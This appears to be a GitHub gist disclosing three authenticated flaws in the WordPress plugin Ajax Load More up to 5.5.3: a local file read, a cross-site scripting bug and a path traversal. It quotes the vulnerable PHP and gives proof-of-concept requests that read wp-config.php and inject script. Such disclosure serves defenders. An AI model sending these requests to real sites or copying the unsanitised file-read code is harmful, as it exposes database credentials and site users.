Instantly share code, notes, and snippets.

Xib3rR4dAr / **AjaxLoadMore_5.5.3_multiple_vulnerabilities.md** `Secret`

Last active 3 months ago

☆ Star

<> **Code**   ⚬Revisions   3

Ajax Load More <= 5.5.3 Multiple Vulnerabilities

<> **AjaxLoadMore_5.5.3_multiple_vulnerabilities.md**

Ajax Load More <= 5.5.3 Multiple Vulnerabilities

Authenticated Information Disclosure / Local File Disclosure:

"ajax-load-more-repeaters" AJAX action is vulnerable to "Full Path Disclosure" since full path of webserver file name can be seen in the request. Arbitrary filename can be provided as input via parameter "alm_repeaters_export" to view the file contents. PoC for reading WordPress Configuration file:

```
POST /wp-admin/admin.php?page=ajax-load-more-repeaters
alm_repeaters_export=/var/www/html/wp-config.php
```

```
188    function alm_repeaters_export() {
189        if ( isset( $_POST['alm_repeaters_export'] ) && ( ! wp_doing_ajax() ) ) {
190            if ( current_user_can( 'edit_theme_options' ) ) {
191                $file = $_POST['alm_repeaters_export'];
192                if ( file_exists( $file ) ) {
193                    header( 'Content-Description: File Transfer' );
194                    header( 'Content-Type: application/octet-stream' );
195                    header( 'Content-Disposition: attachment; filename="' . basename( $file ) . '"' );
196                    readfile( $file );
197                    exit();
198                }
199            }
200        }
201    }
```

Vulnerable file: `admin/admin.php`

Authenticated Cross-Site Scripting:

PoC:

```
/wp-admin/admin-ajax.php?action=alm_get_tax_terms&taxonomy=post_tag&index=1"><script
```

Parameter **index** is not properly sanitized. Vulnerable file: `admin/admin.php`

```php
1177
1178    function alm_get_tax_terms(){
1179        if (current_user_can( 'edit_theme_options' )){
1180
1181            $nonce = $_GET["nonce"];
1182            // Check our nonce, if they don't match then bounce!
1183            if (! wp_verify_nonce( $nonce, 'alm_repeater_nonce' ))
1184                die( 'Get Bounced!' );
1185
1186            $taxonomy = (isset($_GET['taxonomy'])) ? $_GET['taxonomy'] : '';
1187            $index = (isset($_GET['index'])) ? $_GET['index'] : '1';
1188
1189            $tax_args = array(
1190                'orderby'       => 'name',
1191                'order'         => 'ASC',
1192                'hide_empty'    => false
1193            );
1194            $terms = get_terms($taxonomy, $tax_args);
1195            $returnVal = '';
1196            if ( !empty( $terms ) && !is_wp_error( $terms ) ){
1197                $returnVal .= '<ul>';
1198                foreach ( $terms as $term ) {
1199
1200                    $returnVal .='<li><input type="checkbox" class="alm_element" name="tax-term-'.$term->slug.'" id="tax-term-'.$term->slug.'-'.$index.'" data-type="
                        '.$term->slug.'"><label for="tax-term-'.$term->slug.'-'.$index.'">'.$term->name.'</label></li>';
1201
1202                }
1203                $returnVal .= '</ul>';
1204                echo $returnVal;
1205
1206                die();
1207            }else{
1208                echo "<p class='warning'>No terms exist within this taxonomy</p>";
1209                die();
1210            }
1211
1212        } else {
```

Authenticated Path traversal to arbitrary file read:

PoC:

```
/wp-admin/admin-ajax.php?action=alm_get_layout&repeater=default&type=./../../../../w
/wp-admin/admin-ajax.php?action=alm_get_layout&repeater=default&type=./../../wp-conf
```

```php
409
410    function alm_get_layout() {
411        if ( current_user_can( 'edit_theme_options' ) ) {
412
413            $nonce = sanitize_text_field( $_GET["nonce"] );
414            $type = sanitize_text_field( $_GET["type"] );
415            $custom = sanitize_text_field( $_GET["custom"] ) ;
416
417            // Check our nonce, if they don't match then bounce!
418            if ( ! wp_verify_nonce( $nonce, 'alm_repeater_nonce' ) ) {
419                wp_die( 'Error - unable to verify nonce, please try again.' );
420            }
421
422            if ( $type === 'default' ) {
423                // Default Layout.
424                $content =  file_get_contents( ALM_PATH . 'admin/includes/layout/' . $type.'.php' );
425
426            } else {
427                // Custom Layout.
428                if ( $custom == 'true' ) {
429                    $dir = 'alm_layouts';
430                    if ( is_child_theme() ) {
431                        $path = get_stylesheet_directory() . '/' . $dir . '/' . $type;
432                        // if child theme does not have the layout, check the parent theme.
433                        if ( ! file_exists( $path ) ) {
434                            $path = get_template_directory() . '/' . $dir . '/' . $type;
435                        }
436                    } else {
437                        $path = get_template_directory() . '/' . $dir . '/' . $type;
438                    }
439                    $content = file_get_contents( $path );
440
441                }
442                // Layouts Add-on.
443                else {
444                    $content = file_get_contents( ALM_LAYOUTS_PATH . 'layouts/' . $type . '.php' );
445                }
446
447            }
448
449            $return['value'] = $content;
450            echo json_encode( $return );
451
```

Vulnerable file: `admin/admin.php`